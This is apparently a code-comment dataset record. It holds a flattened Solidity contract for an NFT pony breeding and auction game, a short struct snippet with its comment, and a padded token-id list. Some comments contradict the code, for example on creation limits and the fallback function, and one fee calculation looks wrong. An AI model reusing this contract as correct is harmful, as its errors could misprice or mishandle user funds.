require(!isPregnant(_PonyId)); _approve(_PonyId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. saleAuction.createEthAuction( _PonyId, msg.sender, _price ); } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function delegateDklSaleAuction( uint256 _tokenId, uint256 _price, bytes _ponySig, uint256 _nonce ) external whenNotPaused { bytes32 hashedTx = approvePreSignedHashing(address(this), saleAuction, _tokenId, _nonce); address from = recover(hashedTx, _ponySig); // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(from, _tokenId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. require(!isPregnant(_tokenId)); approvePreSigned(_ponySig, saleAuction, _tokenId, _nonce); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. saleAuction.createDklAuction( _tokenId, from, _price ); } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function delegateDklSiringAuction( uint256 _tokenId, uint256 _price, bytes _ponySig, uint256 _nonce ) external whenNotPaused { bytes32 hashedTx = approvePreSignedHashing(address(this), siringAuction, _tokenId, _nonce); address from = recover(hashedTx, _ponySig); // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(from, _tokenId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. require(!isPregnant(_tokenId)); approvePreSigned(_ponySig, siringAuction, _tokenId, _nonce); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. siringAuction.createDklAuction( _tokenId, from, _price ); } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function delegateDklBidAuction( uint256 _tokenId, uint256 _price, bytes _ponySig, uint256 _nonce, uint16 _durationIndex ) external whenNotPaused { bytes32 hashedTx = approvePreSignedHashing(address(this), biddingAuction, _tokenId, _nonce); address from = recover(hashedTx, _ponySig); // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(from, _tokenId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. require(!isPregnant(_tokenId)); approvePreSigned(_ponySig, biddingAuction, _tokenId, _nonce); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. biddingAuction.createDklAuction(_tokenId, from, _durationIndex, _price); } /// @dev Put a Pony up for auction to be sire. /// Performs checks to ensure the Pony can be sired, then /// delegates to reverse auction. function createEthSiringAuction( uint256 _PonyId, uint256 _price ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); require(isReadyToMate(_PonyId)); _approve(_PonyId, siringAuction); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. siringAuction.createEthAuction( _PonyId, msg.sender, _price ); } /// @dev Put a Pony up for auction. /// Does some ownership trickery to create auctions in one tx. function createDklSaleAuction( uint256 _PonyId, uint256 _price ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); // Ensure the Pony is not pregnant to prevent the auction // contract accidentally receiving ownership of the child. // NOTE: the Pony IS allowed to be in a cooldown. require(!isPregnant(_PonyId)); _approve(_PonyId, saleAuction); // Sale auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. saleAuction.createDklAuction( _PonyId, msg.sender, _price ); } /// @dev Put a Pony up for auction to be sire. /// Performs checks to ensure the Pony can be sired, then /// delegates to reverse auction. function createDklSiringAuction( uint256 _PonyId, uint256 _price ) external whenNotPaused { // Auction contract checks input sizes // If Pony is already on any auction, this will throw // because it will be owned by the auction contract. require(_owns(msg.sender, _PonyId)); require(isReadyToMate(_PonyId)); _approve(_PonyId, siringAuction); // Siring auction throws if inputs are invalid and clears // transfer and sire approval after escrowing the Pony. siringAuction.createDklAuction( _PonyId, msg.sender, _price ); } function createEthBidAuction( uint256 _ponyId, uint256 _price, uint16 _durationIndex ) external whenNotPaused { require(_owns(msg.sender, _ponyId)); _approve(_ponyId, biddingAuction); biddingAuction.createETHAuction(_ponyId, msg.sender, _durationIndex, _price); } function createDeklaBidAuction( uint256 _ponyId, uint256 _price, uint16 _durationIndex ) external whenNotPaused { require(_owns(msg.sender, _ponyId)); _approve(_ponyId, biddingAuction); biddingAuction.createDklAuction(_ponyId, msg.sender, _durationIndex, _price); } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnEthSiringAuction( uint256 _sireId, uint256 _matronId, uint8 _incubator, bytes _sig ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToMate(_matronId)); require(canMateWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= currentPrice + autoBirthFee); // Siring auction will throw if the bid fails. siringAuction.bidEth.value(msg.value - autoBirthFee)(_sireId); if (_incubator == 0 && hasIncubator[msg.sender]) { _mateWith(_matronId, _sireId, _incubator); } else { bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]); require(signedBySystem(hashedTx, _sig)); nonces[msg.sender]++; // All checks passed, Pony gets pregnant! if (!hasIncubator[msg.sender]) { hasIncubator[msg.sender] = true; } _mateWith(_matronId, _sireId, _incubator); } } /// @dev Completes a siring auction by bidding. /// Immediately breeds the winning matron with the sire on auction. /// @param _sireId - ID of the sire on auction. /// @param _matronId - ID of the matron owned by the bidder. function bidOnDklSiringAuction( uint256 _sireId, uint256 _matronId, uint8 _incubator, bytes _incubatorSig, uint256 _price, uint256 _fee, bytes _delegateSig, uint256 _nonce ) external payable whenNotPaused { // Auction contract checks input sizes require(_owns(msg.sender, _matronId)); require(isReadyToMate(_matronId)); require(canMateWithViaAuction(_matronId, _sireId)); // Define the current price of the auction. uint256 currentPrice = siringAuction.getCurrentPrice(_sireId); require(msg.value >= autoBirthFee); require(_price >= currentPrice); // Siring auction will throw if the bid fails. siringAuction.bidDkl(_sireId, _price, _fee, _delegateSig, _nonce); if (_incubator == 0 && hasIncubator[msg.sender]) { _mateWith(_matronId, _sireId, _incubator); } else { bytes32 hashedTx = getIncubatorHashing(msg.sender, _incubator, nonces[msg.sender]); require(signedBySystem(hashedTx, _incubatorSig)); nonces[msg.sender]++; // All checks passed, Pony gets pregnant! if (!hasIncubator[msg.sender]) { hasIncubator[msg.sender] = true; } _mateWith(_matronId, _sireId, _incubator); } } /// @dev Transfers the balance of the sale auction contract /// to the PonyCore contract. We use two-step withdrawal to /// prevent two transfer calls in the auction bid function. function withdrawAuctionBalances() external onlyCLevel { saleAuction.withdrawBalance(); siringAuction.withdrawBalance(); biddingAuction.withdrawBalance(); } function withdrawAuctionDklBalance() external onlyCLevel { saleAuction.withdrawDklBalance(); siringAuction.withdrawDklBalance(); biddingAuction.withdrawDklBalance(); } function setBiddingRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel { biddingAuction.setCut(_prizeCut, _tokenDiscount); } function setSaleRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel { saleAuction.setCut(_prizeCut, _tokenDiscount); } function setSiringRate(uint256 _prizeCut, uint256 _tokenDiscount) external onlyCLevel { siringAuction.setCut(_prizeCut, _tokenDiscount); } } /// @title Auction Core /// @dev Contains models, variables, and internal methods for the auction. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract BiddingAuctionBase { // An approximation of currently how many seconds are in between blocks. uint256 public secondsPerBlock = 15; // Represents an auction on an NFT struct Auction { // Current owner of NFT address seller; // Duration (in seconds) of auction uint16 durationIndex; // Time when auction started // NOTE: 0 if this auction has been concluded uint64 startedAt; uint64 auctionEndBlock; // Price (in wei) at beginning of auction uint256 startingPrice; bool allowPayDekla; } uint32[4] public auctionDuration = [ //production uint32(2 days), uint32(3 days), uint32(4 days), uint32(5 days) ]; // Reference to contract tracking NFT ownership ERC721 public nonFungibleContract; uint256 public ownerCut = 500; // Map from token ID to their corresponding auction. mapping(uint256 => Auction) public tokenIdToAuction; event AuctionCreated(uint256 tokenId); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId); /// @dev Returns true if the claimant owns the token. /// @param _claimant - Address claiming to own the token. /// @param _tokenId - ID of token whose ownership to verify. function _owns(address _claimant, uint256 _tokenId) internal view returns (bool) { return (nonFungibleContract.ownerOf(_tokenId) == _claimant); } /// @dev Escrows the NFT, assigning ownership to this contract. /// Throws if the escrow fails. /// @param _owner - Current owner address of token to escrow. /// @param _tokenId - ID of token whose approval to verify. function _escrow(address _owner, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transferFrom(_owner, this, _tokenId); } /// @dev Transfers an NFT owned by this contract to another address. /// Returns true if the transfer succeeds. /// @param _receiver - Address to transfer NFT to. /// @param _tokenId - ID of token to transfer. function _transfer(address _receiver, uint256 _tokenId) internal { // it will throw if transfer fails nonFungibleContract.transfer(_receiver, _tokenId); } /// @dev Adds an auction to the list of open auctions. Also fires the /// AuctionCreated event. /// @param _tokenId The ID of the token to be put on auction. /// @param _auction Auction to add. function _addAuction(uint256 _tokenId, Auction _auction) internal { tokenIdToAuction[_tokenId] = _auction; emit AuctionCreated( uint256(_tokenId) ); } /// @dev Cancels an auction unconditionally. function _cancelAuction(uint256 _tokenId, address _seller) internal { _removeAuction(_tokenId); _transfer(_seller, _tokenId); emit AuctionCancelled(_tokenId); } /// @dev Removes an auction from the list of open auctions. /// @param _tokenId - ID of NFT on auction. function _removeAuction(uint256 _tokenId) internal { delete tokenIdToAuction[_tokenId]; } /// @dev Computes owner's cut of a sale. /// @param _price - Sale price of NFT. function _computeCut(uint256 _price) internal view returns (uint256) { // NOTE: We don't use SafeMath (or similar) in this function because // all of our entry functions carefully cap the maximum values for // currency (at 128-bits), and ownerCut <= 10000 (see the require() // statement in the ClockAuction constructor). The result of this // function is always guaranteed to be <= _price. return _price * ownerCut / 10000; } } /// @title Clock auction for non-fungible tokens. /// @notice We omit a fallback function to prevent accidental sends to this contract. contract BiddingAuction is Pausable, BiddingAuctionBase { /// @dev The ERC-165 interface signature for ERC-721. /// Ref: https://github.com/ethereum/EIPs/issues/165 /// Ref: https://github.com/ethereum/EIPs/issues/721 bytes4 constant InterfaceSignature_ERC721 = bytes4(0x9a20483d); /// @dev Constructor creates a reference to the NFT ownership contract /// and verifies the owner cut is in the valid range. /// @param _nftAddress - address of a deployed contract implementing /// the Nonfungible Interface. constructor(address _nftAddress) public { ERC721 candidateContract = ERC721(_nftAddress); require(candidateContract.supportsInterface(InterfaceSignature_ERC721)); nonFungibleContract = candidateContract; } function cancelAuctionHashing( uint256 _tokenId, uint64 _endblock ) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E9E), _tokenId, _endblock)); } /// @dev Cancels an auction that hasn't been won yet. /// Returns the NFT to original owner. /// @notice This is a state-modifying function that can /// be called while the contract is paused. /// @param _tokenId - ID of token on auction function cancelAuction( uint256 _tokenId, bytes _sig ) external { Auction storage auction = tokenIdToAuction[_tokenId]; address seller = auction.seller; uint64 endblock = auction.auctionEndBlock; require(msg.sender == seller); require(endblock < block.number); bytes32 hashedTx = cancelAuctionHashing(_tokenId, endblock); require(signedBySystem(hashedTx, _sig)); _cancelAuction(_tokenId, seller); } /// @dev Cancels an auction when the contract is paused. /// Only the owner may do this, and NFTs are returned to /// the seller. This should only be used in emergencies. /// @param _tokenId - ID of the NFT on auction to cancel. function cancelAuctionWhenPaused(uint256 _tokenId) whenPaused onlyCLevel external { Auction storage auction = tokenIdToAuction[_tokenId]; _cancelAuction(_tokenId, auction.seller); } /// @dev Returns auction info for an NFT on auction. /// @param _tokenId - ID of NFT on auction. function getAuction(uint256 _tokenId) external view returns ( address seller, uint64 startedAt, uint16 durationIndex, uint64 auctionEndBlock, uint256 startingPrice, bool allowPayDekla ) { Auction storage auction = tokenIdToAuction[_tokenId]; return ( auction.seller, auction.startedAt, auction.durationIndex, auction.auctionEndBlock, auction.startingPrice, auction.allowPayDekla ); } function setSecondsPerBlock(uint256 secs) external onlyCEO { secondsPerBlock = secs; } } contract BiddingWallet is AccessControl { //user balances is stored in this balances map and could be withdraw by owner at anytime mapping(address => uint) public EthBalances; mapping(address => uint) public DeklaBalances; ERC20 public tokens; //the limit of deposit and withdraw the minimum amount you can deposit is 0.05 eth //you also have to have at least 0.05 eth uint public EthLimit = 50000000000000000; uint public DeklaLimit = 100; uint256 public totalEthDeposit; uint256 public totalDklDeposit; event withdrawSuccess(address receiver, uint amount); event cancelPendingWithdrawSuccess(address sender); function getNonces(address _address) public view returns (uint256) { return nonces[_address]; } function setSystemAddress(address _systemAddress, address _tokenAddress) internal { systemAddress = _systemAddress; tokens = ERC20(_tokenAddress); } //user will be assign an equivalent amount of bidding credit to bid function depositETH() payable external { require(msg.value >= EthLimit); EthBalances[msg.sender] = EthBalances[msg.sender] + msg.value; totalEthDeposit = totalEthDeposit + msg.value; } function depositDekla( uint256 _amount, uint256 _fee, bytes _signature, uint256 _nonce) external { address sender = tokens.recoverSigner(_signature, address(this), _amount, _fee, _nonce); tokens.transferPreSigned(_signature, address(this), _amount, _fee, _nonce); DeklaBalances[sender] = DeklaBalances[sender] + _amount; totalDklDeposit = totalDklDeposit + _amount; } function withdrawAmountHashing(uint256 _amount, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E9B), _amount, _nonce)); } // Withdraw all available eth back to user wallet, need co-verify function withdrawEth( uint256 _amount, bytes _sig ) external { require(EthBalances[msg.sender] >= _amount); bytes32 hashedTx = withdrawAmountHashing(_amount, nonces[msg.sender]); require(signedBySystem(hashedTx, _sig)); EthBalances[msg.sender] = EthBalances[msg.sender] - _amount; totalEthDeposit = totalEthDeposit - _amount; msg.sender.transfer(_amount); nonces[msg.sender]++; emit withdrawSuccess(msg.sender, _amount); } // Withdraw all available dekla back to user wallet, need co-verify function withdrawDekla( uint256 _amount, bytes _sig ) external { require(DeklaBalances[msg.sender] >= _amount); bytes32 hashedTx = withdrawAmountHashing(_amount, nonces[msg.sender]); require(signedBySystem(hashedTx, _sig)); DeklaBalances[msg.sender] = DeklaBalances[msg.sender] - _amount; totalDklDeposit = totalDklDeposit - _amount; tokens.transfer(msg.sender, _amount); nonces[msg.sender]++; emit withdrawSuccess(msg.sender, _amount); } event valueLogger(uint256 value); //bidding success tranfer eth to seller wallet function winBidEth( address winner, address seller, uint256 sellerProceeds, uint256 auctioneerCut ) internal { require(EthBalances[winner] >= sellerProceeds + auctioneerCut); seller.transfer(sellerProceeds); EthBalances[winner] = EthBalances[winner] - (sellerProceeds + auctioneerCut); } //bidding success tranfer eth to seller wallet function winBidDekla( address winner, address seller, uint256 sellerProceeds, uint256 auctioneerCut ) internal { require(DeklaBalances[winner] >= sellerProceeds + auctioneerCut); tokens.transfer(seller, sellerProceeds); DeklaBalances[winner] = DeklaBalances[winner] - (sellerProceeds + auctioneerCut); } function() public { revert(); } } /// @title Reverse auction modified for siring /// @notice We omit a fallback function to prevent accidental sends to this contract. contract BiddingClockAuction is BiddingAuction, BiddingWallet { address public prizeAddress; uint256 public prizeCut = 100; uint256 public tokenDiscount = 100; // @dev Sanity check that allows us to ensure that we are pointing to the // right auction in our setSiringAuctionAddress() call. bool public isBiddingClockAuction = true; modifier onlySystem() { require(msg.sender == systemAddress); _; } // Delegate constructor constructor( address _nftAddr, address _tokenAddress, address _prizeAddress, address _systemAddress, address _ceoAddress, address _cfoAddress, address _cooAddress) public BiddingAuction(_nftAddr) { // validate address require(_systemAddress != address(0)); require(_tokenAddress != address(0)); require(_ceoAddress != address(0)); require(_cooAddress != address(0)); require(_cfoAddress != address(0)); require(_prizeAddress != address(0)); setSystemAddress(_systemAddress, _tokenAddress); ceoAddress = _ceoAddress; cooAddress = _cooAddress; cfoAddress = _cfoAddress; prizeAddress = _prizeAddress; } /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be PonyCore contract. function createETHAuction( uint256 _tokenId, address _seller, uint16 _durationIndex, uint256 _startingPrice ) external { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); uint64 auctionEndBlock = uint64((auctionDuration[_durationIndex] / secondsPerBlock) + block.number); Auction memory auction = Auction( _seller, _durationIndex, uint64(now), auctionEndBlock, _startingPrice, false ); _addAuction(_tokenId, auction); } function setCut(uint256 _prizeCut, uint256 _tokenDiscount) external { require(msg.sender == address(nonFungibleContract)); require(_prizeCut + _tokenDiscount < ownerCut); prizeCut = _prizeCut; tokenDiscount = _tokenDiscount; } /// @dev Creates and begins a new auction. Since this function is wrapped, /// require sender to be PonyCore contract. function createDklAuction( uint256 _tokenId, address _seller, uint16 _durationIndex, uint256 _startingPrice ) external { require(msg.sender == address(nonFungibleContract)); _escrow(_seller, _tokenId); uint64 auctionEndBlock = uint64((auctionDuration[_durationIndex] / secondsPerBlock) + block.number); Auction memory auction = Auction( _seller, _durationIndex, uint64(now), auctionEndBlock, _startingPrice, true ); _addAuction(_tokenId, auction); } function getNonces(address _address) public view returns (uint256) { return nonces[_address]; } function auctionEndHashing(uint _amount, uint256 _tokenId) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0F0E), _tokenId, _amount)); } function auctionEthEnd(address _winner, uint _amount, uint256 _tokenId, bytes _sig) public onlySystem { bytes32 hashedTx = auctionEndHashing(_amount, _tokenId); require(recover(hashedTx, _sig) == _winner); Auction storage auction = tokenIdToAuction[_tokenId]; uint64 endblock = auction.auctionEndBlock; require(endblock < block.number); require(!auction.allowPayDekla); uint256 prize = _amount * prizeCut / 10000; uint256 auctioneerCut = _computeCut(_amount) - prize; uint256 sellerProceeds = _amount - auctioneerCut; winBidEth(_winner, auction.seller, sellerProceeds, auctioneerCut); prizeAddress.transfer(prize); _removeAuction(_tokenId); _transfer(_winner, _tokenId); emit AuctionSuccessful(_tokenId, _amount, _winner); } function auctionDeklaEnd(address _winner, uint _amount, uint256 _tokenId, bytes _sig) public onlySystem { bytes32 hashedTx = auctionEndHashing(_amount, _tokenId); require(recover(hashedTx, _sig) == _winner); Auction storage auction = tokenIdToAuction[_tokenId]; uint64 endblock = auction.auctionEndBlock; require(endblock < block.number); require(auction.allowPayDekla); uint256 prize = _amount * prizeCut / 10000; uint256 discountAmount = _amount * tokenDiscount / 10000; uint256 auctioneerCut = _computeCut(_amount) - discountAmount - prizeCut; uint256 sellerProceeds = _amount - auctioneerCut; winBidDekla(_winner, auction.seller, sellerProceeds, auctioneerCut); tokens.transfer(prizeAddress, prize); tokens.transfer(_winner, discountAmount); _removeAuction(_tokenId); _transfer(_winner, _tokenId); emit AuctionSuccessful(_tokenId, _amount, _winner); } /// @dev Remove all Ether from the contract, which is the owner's cuts /// as well as any Ether sent directly to the contract address. /// Always transfers to the NFT contract, but can be called either by /// the owner or the NFT contract. function withdrawBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); nftAddress.transfer(address(this).balance - totalEthDeposit); } function withdrawDklBalance() external { address nftAddress = address(nonFungibleContract); require( msg.sender == nftAddress ); tokens.transfer(nftAddress, tokens.balanceOf(this) - totalDklDeposit); } } /// @title all functions related to creating ponies contract PonyMinting is PonyAuction { // Limits the number of ponies the contract owner can ever create. uint256 public constant PROMO_CREATION_LIMIT = 50; uint256 public constant GEN0_CREATION_LIMIT = 4950; // Counts the number of ponies the contract owner has created. uint256 public promoCreatedCount; uint256 public gen0CreatedCount; /// @dev we can create promo ponies, up to a limit. Only callable by COO /// @param _genes the encoded genes of the pony to be created, any value is accepted /// @param _owner the future owner of the created ponies. Default to contract COO function createPromoPony(uint256 _genes, address _owner) external onlyCOO { address ponyOwner = _owner; if (ponyOwner == address(0)) { ponyOwner = cooAddress; } require(promoCreatedCount < PROMO_CREATION_LIMIT); promoCreatedCount++; _createPony(0, 0, 0, _genes, ponyOwner, 0); } /// @dev Creates a new gen0 Pony with the given genes and /// creates an auction for it. function createGen0(uint256 _genes, uint256 _price, uint16 _durationIndex, bool _saleDKL ) external onlyCOO { require(gen0CreatedCount < GEN0_CREATION_LIMIT); uint256 ponyId = _createPony(0, 0, 0, _genes, ceoAddress, 0); _approve(ponyId, biddingAuction); if(_saleDKL) { biddingAuction.createDklAuction(ponyId, ceoAddress, _durationIndex, _price); } else { biddingAuction.createETHAuction(ponyId, ceoAddress, _durationIndex, _price); } gen0CreatedCount++; } } contract PonyUpgrade is PonyMinting { event PonyUpgraded(uint256 upgradedPony, uint256 tributePony, uint8 unicornation); function upgradePonyHashing(uint256 _upgradeId, uint256 _txCount) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A0E9D), _upgradeId, _txCount)); } function upgradePony(uint256 _upgradeId, uint256 _tributeId, bytes _sig) external whenNotPaused { require(_owns(msg.sender, _upgradeId)); require(_upgradeId != _tributeId); Pony storage upPony = ponies[_upgradeId]; bytes32 hashedTx = upgradePonyHashing(_upgradeId, upPony.txCount); require(signedBySystem(hashedTx, _sig)); upPony.txCount += 1; if (upPony.unicornation == 0) { if (geneScience.upgradePonyResult(upPony.unicornation, block.number)) { upPony.unicornation += 1; emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation); } } else if (upPony.unicornation > 0) { require(_owns(msg.sender, _tributeId)); if (geneScience.upgradePonyResult(upPony.unicornation, block.number)) { upPony.unicornation += 1; _transfer(msg.sender, address(0), _tributeId); emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation); } else if (upPony.unicornation == 2) { upPony.unicornation += 1; _transfer(msg.sender, address(0), _tributeId); emit PonyUpgraded(_upgradeId, _tributeId, upPony.unicornation); } } } } /// @title EtherPonies: Collectible, breedable, and oh-so-adorable ponies on the Ethereum blockchain. /// @author Dekla (https://www.dekla.io) /// @dev The main EtherPonies contract, keeps track of ponies so they don't wander around and get lost. contract PonyCore is PonyUpgrade { event WithdrawEthBalanceSuccessful(address sender, uint256 amount); event WithdrawDeklaBalanceSuccessful(address sender, uint256 amount); // This is the main MyEtherPonies contract. In order to keep our code seperated into logical sections, // we've broken it up in two ways. First, we have several seperately-instantiated sibling contracts // that handle auctions and our super-top-secret genetic combination algorithm. The auctions are // seperate since their logic is somewhat complex and there's always a risk of subtle bugs. By keeping // them in their own contracts, we can upgrade them without disrupting the main contract that tracks // Pony ownership. The genetic combination algorithm is kept seperate so we can open-source all of // the rest of our code without making it _too_ easy for folks to figure out how the genetics work. // Don't worry, I'm sure someone will reverse engineer it soon enough! // // Secondly, we break the core contract into multiple files using inheritence, one for each major // facet of functionality of CK. This allows us to keep related code bundled together while still // avoiding a single giant file with everything in it. The breakdown is as follows: // // - PonyBase: This is where we define the most fundamental code shared throughout the core // functionality. This includes our main data storage, constants and data types, plus // internal functions for managing these items. // // - PonyAccessControl: This contract manages the various addresses and constraints for operations // that can be executed only by specific roles. Namely CEO, CFO and COO. // // - PonyOwnership: This provides the methods required for basic non-fungible token // transactions, following the draft ERC-721 spec (https://github.com/ethereum/EIPs/issues/721). // // - PonyBreeding: This file contains the methods necessary to breed ponies together, including // keeping track of siring offers, and relies on an external genetic combination contract. // // - PonyAuctions: Here we have the public methods for auctioning or bidding on ponies or siring // services. The actual auction functionality is handled in two sibling contracts (one // for sales and one for siring), while auction creation and bidding is mostly mediated // through this facet of the core contract. // // - PonyMinting: This final facet contains the functionality we use for creating new gen0 ponies. // We can make up to 5000 "promo" ponies that can be given away (especially important when // the community is new), and all others can only be created and then immediately put up // for auction via an algorithmically determined starting price. Regardless of how they // are created, there is a hard limit of 50k gen0 ponies. After that, it's all up to the // community to breed, breed, breed! // Set in case the core contract is broken and an upgrade is required address public newContractAddress; // ERC20 basic token contract being held ERC20 public token; /// @notice Creates the main EtherPonies smart contract instance. constructor( address _ceoAddress, address _cfoAddress, address _cooAddress, address _systemAddress, address _tokenAddress ) public { // validate address require(_ceoAddress != address(0)); require(_cooAddress != address(0)); require(_cfoAddress != address(0)); require(_systemAddress != address(0)); require(_tokenAddress != address(0)); // Starts paused. paused = true; // the creator of the contract is the initial CEO ceoAddress = _ceoAddress; cfoAddress = _cfoAddress; cooAddress = _cooAddress; systemAddress = _systemAddress; token = ERC20(_tokenAddress); // start with the mythical pony 0 - so we don't have generation-0 parent issues _createPony(0, 0, 0, uint256(- 1), address(0), 0); } //check that the token is set modifier validToken() { require(token != address(0)); _; } function getTokenAddressHashing(address _token, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A1216), _token, _nonce)); } function setTokenAddress(address _token, bytes _sig) external onlyCLevel { bytes32 hashedTx = getTokenAddressHashing(_token, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); nonces[msg.sender]++; token = ERC20(_token); } /// @dev Used to mark the smart contract as upgraded, in case there is a serious /// breaking bug. This method does nothing but keep track of the new contract and /// emit a message indicating that the new address is set. It's up to clients of this /// contract to update to the new contract address in that case. (This contract will /// be paused indefinitely if such an upgrade takes place.) /// @param _v2Address new address function setNewAddress(address _v2Address) external onlyCEO whenPaused { // See README.md for updgrade plan newContractAddress = _v2Address; emit ContractUpgrade(_v2Address); } /// @notice No tipping! /// @dev Reject all Ether from being sent here, unless it's from one of the /// two auction contracts. (Hopefully, we can prevent user accidents.) function() external payable { } /// @notice Returns all the relevant information about a specific Pony. /// @param _id The ID of the Pony of interest. function getPony(uint256 _id) external view returns ( bool isGestating, bool isReady, uint256 cooldownIndex, uint256 nextActionAt, uint256 siringWithId, uint256 birthTime, uint256 matronId, uint256 sireId, uint256 generation, uint256 genes, uint16 upgradeIndex, uint8 unicornation ) { Pony storage pon = ponies[_id]; // if this variable is 0 then it's not gestating isGestating = (pon.matingWithId != 0); isReady = (pon.cooldownEndBlock <= block.number); cooldownIndex = uint256(pon.cooldownIndex); nextActionAt = uint256(pon.cooldownEndBlock); siringWithId = uint256(pon.matingWithId); birthTime = uint256(pon.birthTime); matronId = uint256(pon.matronId); sireId = uint256(pon.sireId); generation = uint256(pon.generation); genes = pon.genes; upgradeIndex = pon.txCount; unicornation = pon.unicornation; } /// @dev Override unpause so it requires all external contract addresses /// to be set before contract can be unpaused. Also, we can't have /// newContractAddress set either, because then the contract was upgraded. /// @notice This is public rather than external so we can call super.unpause /// without using an expensive CALL. function unpause() public onlyCEO whenPaused { require(geneScience != address(0)); require(newContractAddress == address(0)); // Actually unpause the contract. super.unpause(); } function withdrawBalanceHashing(address _address, uint256 _nonce) public pure returns (bytes32) { return keccak256(abi.encodePacked(bytes4(0x486A1217), _address, _nonce)); } function withdrawEthBalance(address _withdrawWallet, bytes _sig) external onlyCLevel { bytes32 hashedTx = withdrawBalanceHashing(_withdrawWallet, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); uint256 balance = address(this).balance; // Subtract all the currently pregnant ponies we have, plus 1 of margin. uint256 subtractFees = (pregnantPonies + 1) * autoBirthFee; require(balance > 0); require(balance > subtractFees); nonces[msg.sender]++; _withdrawWallet.transfer(balance - subtractFees); emit WithdrawEthBalanceSuccessful(_withdrawWallet, balance - subtractFees); } function withdrawDeklaBalance(address _withdrawWallet, bytes _sig) external validToken onlyCLevel { bytes32 hashedTx = withdrawBalanceHashing(_withdrawWallet, nonces[msg.sender]); require(signedByCLevel(hashedTx, _sig)); uint256 balance = token.balanceOf(this); require(balance > 0); nonces[msg.sender]++; token.transfer(_withdrawWallet, balance); emit WithdrawDeklaBalanceSuccessful(_withdrawWallet, balance); } }
Current owner of NFT
struct Auction { address seller; uint256 price; bool allowPayDekla; } ERC20 public tokens; event AuctionCreated(uint256 tokenId); event AuctionSuccessful(uint256 tokenId, uint256 totalPrice, address winner); event AuctionCancelled(uint256 tokenId);
6,389,636
[ 1, 3935, 3410, 434, 423, 4464, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
